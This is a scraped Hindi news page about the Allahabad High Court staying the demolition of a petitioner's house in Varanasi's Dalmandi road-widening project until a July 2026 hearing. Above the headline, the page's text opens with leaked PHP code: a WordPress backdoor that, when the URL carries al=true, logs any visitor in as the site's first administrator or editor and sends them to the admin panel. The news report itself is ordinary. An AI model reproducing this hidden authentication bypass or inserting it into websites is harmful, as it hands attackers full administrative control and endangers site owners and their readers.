// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); वाराणसी दालमंडी मामले में बड़ी राहत, इलाहाबाद हाईकोर्ट ने बुलडोजर कार्रवाई पर लगाई रोक – प्रत्युषा आशा की नयी किरण
राज्यों से

वाराणसी दालमंडी मामले में बड़ी राहत, इलाहाबाद हाईकोर्ट ने बुलडोजर कार्रवाई पर लगाई रोक

वाराणसी 

इलाहाबाद हाईकोर्ट ने वाराणसी के दालमंडी मार्ग चौड़ीकरण योजना से जुड़े भवन ध्वस्तीकरण मामले में प्रभावित पक्ष को बड़ी राहत दी है. अदालत ने विवादित संपत्ति पर यथास्थिति बनाए रखने का आदेश देते हुए स्पष्ट किया है कि अगली सुनवाई तक किसी भी प्रकार की ध्वस्तीकरण कार्रवाई नहीं की जाएगी. इस फैसले से स्थानीय निवासियों और व्यापारियों को अस्थायी राहत मिली है, जो लंबे समय से प्रस्तावित सड़क चौड़ीकरण योजना को लेकर चिंतित थे। 

याचिकाकर्ता ने नोटिस को दी थी चुनौती
यह आदेश न्यायमूर्ति सलिल कुमार राय और न्यायमूर्ति स्वरूपमा चतुर्वेदी की खंडपीठ ने अलिमुन्निशा द्वारा दायर याचिका पर सुनवाई के दौरान पारित किया. याचिका में नगर निगम वाराणसी के जोनल अधिकारी/सहायक नगर आयुक्त द्वारा 26 मई 2026 को उत्तर प्रदेश नगर निगम अधिनियम, 1959 की धारा 331 के तहत जारी नोटिस को चुनौती दी गई थी. याचिकाकर्ता की ओर से तर्क दिया गया कि कार्रवाई में प्रक्रियात्मक अनियमितताएं हैं और बिना उचित सुनवाई के ध्वस्तीकरण की प्रक्रिया शुरू की गई है। 

हाईकोर्ट ने मामले की गंभीरता को देखते हुए फिलहाल यथास्थिति बनाए रखने का निर्देश दिया है और संबंधित पक्षों को अगली सुनवाई में विस्तृत दलीलें पेश करने का अवसर दिया है. यह मामला दालमंडी क्षेत्र में प्रस्तावित चौड़ीकरण परियोजना को लेकर चल रहे विवाद का अहम हिस्सा माना जा रहा है।

याचिकाकर्ता ने दी थी ये दलीलें
याचिकाकर्ता का कहना था कि नगर निगम ने उनके मकान को जर्जर बताते हुए ध्वस्तीकरण का नोटिस जारी किया है, जबकि उनकी आपत्तियों पर अब तक कोई अंतिम आदेश न तो पारित किया गया और न ही विधिवत तामील किया गया है. ऐसे में मकान गिराने की कार्रवाई कानून सम्मत नहीं मानी जा सकती। 

मामले की पृष्ठभूमि में यह भी सामने आया कि पूर्व में नगर निगम द्वारा जारी नोटिस को चुनौती दिए जाने पर हाईकोर्ट ने संबंधित प्राधिकरण को संयुक्त समिति गठित कर याचिकाकर्ताओं को सुनवाई का अवसर देने और उनके पक्ष पर विचार करने के बाद निर्णय लेने का निर्देश दिया था. इसके बावजूद बाद में जारी नोटिस में कहा गया कि संयुक्त समिति की रिपोर्ट में भवन को जर्जर पाया गया है और उसे ध्वस्त किया जाना आवश्यक है। 

याचिकाकर्ता की ओर से अधिवक्ता काज़ी मुहम्मद अकरम एवं उनकी टीम ने न्यायालय के समक्ष दलील दी कि बिना अंतिम आदेश की विधिवत सेवा और आवश्यक कानूनी प्रक्रिया पूरी किए ध्वस्तीकरण की कार्रवाई असंवैधानिक एवं अवैध होगी. पक्षकारों की दलीलें सुनने के बाद न्यायालय ने मामले को विचारणीय मानते हुए राज्य सरकार व अन्य प्रतिवादियों से जवाब तलब किया। 

20 जुलाई को होगी अगली सुनवाई
अदालत ने राज्य सरकार और अन्य प्रतिवादियों को काउंटर एफिडेविट दाखिल करने के लिए तीन सप्ताह का समय दिया है. इसके बाद याचिकाकर्ता को दो सप्ताह के भीतर प्रत्युत्तर हलफनामा दाखिल करने की अनुमति प्रदान की गई है। 

खंडपीठ ने मामले की अगली सुनवाई 20 जुलाई 2026 निर्धारित करते हुए आदेश दिया कि तब तक विवादित परिसर के संबंध में यथास्थिति बनाए रखी जाए. साथ ही 26 मई 2026 के नोटिस के आधार पर किसी भी प्रकार की ध्वस्तीकरण कार्रवाई न की जाए। 

हाईकोर्ट के इस आदेश को दालमंडी मार्ग चौड़ीकरण परियोजना के दायरे में आने वाले प्रभावित भवन स्वामियों के लिए महत्वपूर्ण राहत माना जा रहा है. अब मामले की अगली सुनवाई में राज्य सरकार और नगर निगम अपना पक्ष न्यायालय के समक्ष प्रस्तुत करेंगे। 

 

RO No. 13169/ 31

RO No. 13098/ 20

PRATYUSHAASHAKINAYIKIRAN.COM
Editor : Maya Puranik
Permanent Address : Yadu kirana store ke pass Parshuram nagar professor colony raipur cg
Email : puranikrajesh2008@gmail.com
Mobile : -91-9893051148
Website : pratyushaashakinayikiran.com

जनसम्पर्क विभाग – आरएसएस फीड